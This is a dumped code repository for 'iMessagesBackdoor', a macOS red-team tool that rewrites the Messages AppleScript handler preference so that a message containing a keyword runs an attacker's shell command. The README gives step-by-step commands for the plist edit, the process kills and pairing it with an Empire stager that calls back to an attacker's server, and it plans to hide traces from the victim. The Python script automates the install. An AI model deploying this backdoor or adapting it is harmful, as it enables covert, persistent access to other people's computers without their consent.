├── LICENSE ├── README.md ├── backdoor.scpt └── iMessagesBackdoor.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 checkyfuntime 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # iMessagesBackdoor 2 | A script to help set up an event handler in order to install a persistent backdoor that can be activated by sending a message. 3 | 4 | Note: This no longer works in newer versions of Mac OSX, iMessages has removed the ability to have AppleScript event handlers. 5 | 6 | # Explanation 7 | Just as Mail.app and Outlook can be used to create a persistent backdoor on a victim, iMessages on Mac OS X can also be used in order to keep access to a victim machine. 8 | 9 | iMessages supports an AppleScript handler that can be set to execute a shell commands on the firing of a specific trigger. A few examples of these triggers: 10 | 11 | - Received Text Invitation 12 | 13 | - Message Sent 14 | 15 | - Message Received 16 | 17 | - Login Finished 18 | 19 | - Logout Finished 20 | 21 | By modifying the Preferences in the GUI you can set an AppleScript handler that defines what happens when each of these events triggers. 22 | 23 | However, on a Red Team engagement we'd likely want to do this exclusively from the command line. Luckily, we're able to manually modify the plist file in order to force the application to accept our AppleScript handler. 24 | 25 | iMessages stores its preferences file in two locations: 26 | 27 | > \~/Library/Preferences/com.apple.iChat.plist 28 | 29 | and 30 | 31 | > \~/Library/Containers/com.apple.soagent/Data/Library/Preferences/com.apple.messageshelper.AlertsController.plist 32 | 33 | The second plist seems to takes precedence over the first during my own testing. 34 | 35 | Note: If someone can explain to me why this is, I'd love to know. 36 | 37 | If you were to try and open the files in a text editor such as vim you would get a binary blob, that's because by default MacOSX stores these plist files in a binary format, however they provide a neat little tool that can be used to convert it into a human readable XML format. 38 | 39 | >plutil -convert xml1 \~/Library/Containers/com.apple.soagent/Data/Library/Preferences/com.apple.messageshelper.AlertsController.plist 40 | 41 | Now we can open the file in our text editor and see the list of keys available in this preference files. The key we're going to be looking for is named AppleScriptNameKey, this is the key that controls which AppleScript file defines the handlers and the script we'd like to modify in order to execute our shell commands. 42 | 43 | The best part is that you can modify already existing scripts in order to remain under the radar, and as far as security products are concerned it's legitimate functionality! 44 | 45 | After modifying this file, you'll want to convert the plist file back to binary and the Messages.app will need to be restarted for the application to pick up these new preferences. This can be done from the command line using the following commands: 46 | 47 | > plutil -convert binary1 ~/Library/Containers/com.apple.soagent/Data/Library/Preferences/com.apple.messageshelper.AlertsController.plist 48 | 49 | > killall Messages 50 | 51 | > killall soagent 52 | 53 | Warning: This will cause the application to bounce and the user may notice that the application restarted, although you could also potentially just be patient and wait for the user to restart their computer. 54 | 55 | Now anytime your victim receives a message containing your keyword, a shell command will be executed containing your payload! 56 | 57 | # Usage 58 | python iMessagesBackdoor.py [-h] [-handler HANDLERNAME] [--force] [--delete] [--verbose] 59 | 60 | -handler HANDLERNAME : The name of the applescript file that will be stored in the iMessages configuration (Does not require .scpt extension) 61 | 62 | --force :        Force overwriting of the users current applescript event handler 63 | 64 | --delete :      Removes the current script handler. 65 | 66 | --verbose :   Displays debugging messages. 67 | 68 | ex. python iMessagesBackdoor.py -handler backdoor --force 69 | 70 | # Usage with Empire: 71 | In order to install an Empire backdoor on your target using iMessages generate an empire stager in accordance with the instructions here 72 | 73 | Copy the output into the event handler you want to control your backdoor. 74 | Place this file into 75 | 76 | > ~/Library/Application Scripts/Com.Apple.iChat 77 | 78 | or 79 | 80 | > ~/Library/Scripts/Messages (Messages 7.x.x - Mountain Lion) 81 | 82 | Run the iMessagesBackdoor.py command in order to set the user preferences to run the backdoor. 83 | 84 | 85 | # Example run command on message received: 86 | 1.) Copy the output into the "On message received" event handler within backdoor.scpt. 87 | 88 | 2.) Replace "helloworld" with the keyword that you want to use to execute your backdoor. 89 | 90 | 3.) Place the file in ~/Library/Application Scripts/com.apple.iChat/ 91 | 92 | 4.) Terminal: python iMessagesBackdoor.py -handler backdoor --force. 93 | 94 | 5.) Send a message to your target containing the phrase and you should get a connection to your empire server. 95 | 96 | # TODO: 97 | 1.) Take the contents of the username from this file and display it for the user to easier see what account to send the message to. 98 | 99 | 2.) Better fix the script in order to delete all traces of the message from the user. 100 | 101 | 3.) Implement into an Empire Module 102 | 103 | -------------------------------------------------------------------------------- /backdoor.scpt: -------------------------------------------------------------------------------- 1 | using terms from application "Messages" 2 | # This entire file is needed for the handler otherwise errors will be thrown. 3 | 4 | on received text invitation theText from theBuddy for theChat 5 | end received text invitation 6 | 7 | on received audio invitation theText from theBuddy for theChat 8 | end received audio invitation 9 | 10 | on received video invitation theText from theBuddy for theChat 11 | end received video invitation 12 | 13 | on received file transfer invitation theFileTransfer 14 | end received file transfer invitation 15 | 16 | on buddy authorization requested theRequest 17 | end buddy authorization requested 18 | 19 | on message sent theMessage for theChat 20 | 21 | end message sent 22 | 23 | on message received theMessage from theBuddy for theChat 24 | if theMessage contains "helloworld" then 25 | display dialog "Hello from message received handler!" 26 | end if 27 | end message received 28 | 29 | on chat room message received theMessage from theBuddy for theChat 30 | 31 | end chat room message received 32 | 33 | on active chat message received 34 | end active chat message received 35 | 36 | on addressed chat room message received theMessage from theBuddy for theChat 37 | 38 | end addressed chat room message received 39 | 40 | on addressed message received theMessage from theBuddy for theChat 41 | 42 | end addressed message received 43 | 44 | on av chat started 45 | 46 | end av chat started 47 | 48 | on av chat ended 49 | 50 | end av chat ended 51 | 52 | on login finished for theService 53 | 54 | end login finished 55 | 56 | on logout finished for theService 57 | 58 | end logout finished 59 | 60 | on buddy became available theBuddy 61 | 62 | end buddy became available 63 | 64 | on buddy became unavailable theBuddy 65 | 66 | end buddy became unavailable 67 | 68 | on completed file transfer 69 | 70 | end completed file transfer 71 | end using terms from 72 | -------------------------------------------------------------------------------- /iMessagesBackdoor.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | import plistlib as PL 4 | import sys 5 | import argparse 6 | import platform 7 | import time 8 | 9 | #Argument Parsing 10 | parser = argparse.ArgumentParser(description='iMessages Backdoor') 11 | parser.add_argument('-handler', type=str, help='The name of the applescript file that will be stored in the iMessages configuration file.') 12 | parser.add_argument('--force', help='Force overwriting of the users current applescript event handler', action='store_true') 13 | parser.add_argument('--delete', help='Delete the current script handler and quit execution.', action='store_true') 14 | parser.add_argument('--verbose', help='Display debugging messages.', action='store_true') 15 | arguments = parser.parse_args() 16 | 17 | #Add a kill for the messages application. 18 | #Initial environment information gathering. 19 | templateFile = "" 20 | homedir = os.path.expanduser('~') 21 | path = homedir + "/Library/Containers/com.apple.soagent/Data/Library/Preferences/com.apple.messageshelper.AlertsController.plist" 22 | scriptspath = None 23 | currentScript = "" 24 | newScript = arguments.handler 25 | 26 | def get_key(path): 27 | p = subprocess.Popen(["defaults","read",path,'AppleScriptNameKey'], 28 | stdout=subprocess.PIPE, 29 | stderr=subprocess.STDOUT) 30 | return iter(p.stdout.readline, b'') 31 | 32 | def restart_procs(): 33 | #dostuff 34 | subprocess.Popen(["killall","Messages"], 35 | stdout=subprocess.PIPE, 36 | stderr=subprocess.STDOUT) 37 | subprocess.Popen(["killall","soagent"], 38 | stdout=subprocess.PIPE, 39 | stderr=subprocess.STDOUT) 40 | subprocess.Popen(["open","-j","/Applications/Messages.app"], 41 | stdout=subprocess.PIPE, 42 | stderr=subprocess.STDOUT) 43 | 44 | 45 | def failed_exit(step,e): 46 | print "[!] An error has occured attempting to " + step 47 | print str(e) 48 | exit() 49 | 50 | def write_key(newHandler, path): 51 | print "[+] Writing new AppleScript event handler to " + path 52 | subprocess.Popen(["defaults","write",path,'AppleScriptNameKey',"-string", newHandler], 53 | stdout=subprocess.PIPE, 54 | stderr=subprocess.STDOUT) 55 | 56 | print "[+] Write key successful" 57 | 58 | def check_if_exists(path): 59 | if os.path.isfile(path): 60 | return True 61 | else: 62 | return False 63 | def create_soagent_file(): 64 | print "Does this even matter?" 65 | #Todo: Create a file and maybe have it activate a user. 66 | 67 | 68 | def delete_key(oldScript, path): 69 | print "[+] Deleting the old key from the com.apple.messageshelper.AlertsController.plist file:" 70 | subprocess.Popen(["defaults","delete",path,'AppleScriptNameKey'], 71 | stdout=subprocess.PIPE, 72 | stderr=subprocess.STDOUT) 73 | 74 | 75 | #Check version of OSX we're running 76 | #~/Library/Application Scripts/Com.apple.iChat for any macs newer than 10.7 77 | #~/Library/Scripts/Messages for any macs 10.7 and older. 78 | 79 | 80 | #Sanity Checks: 81 | if newScript is None and arguments.delete==False: 82 | print "[!] No AppleScript handler set! Exiting." 83 | exit() 84 | if arguments.delete==True and arguments.force==True: 85 | print "[!] Please don't set both Force and Delete, only select one! Exiting." 86 | exit() 87 | 88 | macversion = platform.mac_ver()[0].split(".") 89 | print "[INFO] Running Mac OSX " + macversion[0] + "." + macversion[1] + "." + macversion[2] 90 | if int(macversion[0]) == 10 and int(macversion[1]) <= 7: 91 | scriptspath = homedir + "/Library/Scripts/Messages/" 92 | print "[INFO] Using scripts path: " + scriptspath 93 | #elif int(macversion[0]) == 10 and int(macversion[1]) >= 7: 94 | else: 95 | scriptspath = homedir + "/Library/Application Scripts/Com.apple.iChat/" 96 | print "[INFO] Using scripts path: " + scriptspath 97 | 98 | #Check if the plist file exists so that we can write to it. 99 | 100 | if check_if_exists(path): 101 | print "[+] Plist file found! Using file: " + path 102 | else: 103 | print "[!] File Not Founfd, time to bail." 104 | failed_exit("check if the plist file exists, the file: " + path + " was not found!") 105 | 106 | #Check to see if there's a value already written to the plist file. 107 | for line in get_key(path): 108 | currentScript += line 109 | 110 | #If the delete flag is set, check to see if it exists already, if not exit, if it does then delete it and exit. 111 | if arguments.delete==True: 112 | try: 113 | if "does not exist" in currentScript: 114 | failed_exit("deleting the key, no key is currently set!","") 115 | else: 116 | delete_key(currentScript, path) 117 | restart_procs() 118 | exit() 119 | except Exception, e: 120 | failed_exit("delete the old key from the plist",e) 121 | 122 | if "does not exist" in currentScript: 123 | print "[+] No current applescript handlers set." 124 | try: 125 | write_key(newScript, path) 126 | except Exception, e: 127 | failed_exit("write new script into the plist.",e) 128 | else: 129 | print "Current Handler Found: " + currentScript 130 | if arguments.force==True: #Bug here, if the key gets deleted, it never gets re-written. 131 | try: 132 | delete_key(currentScript, path) 133 | except Exception, e: 134 | failed_exit("delete the old key from the plist",e) 135 | restart_procs() 136 | try: 137 | write_key(newScript, path) 138 | except Exception, e: 139 | failed_exit("write new script into the plist.",e) 140 | else: 141 | failed_exit("write new script into the plist, a handler already exists. To overwrite the current handler and continue, use the --force flag.","") 142 | restart_procs() 143 | exit() 144 | --------------------------------------------------------------------------------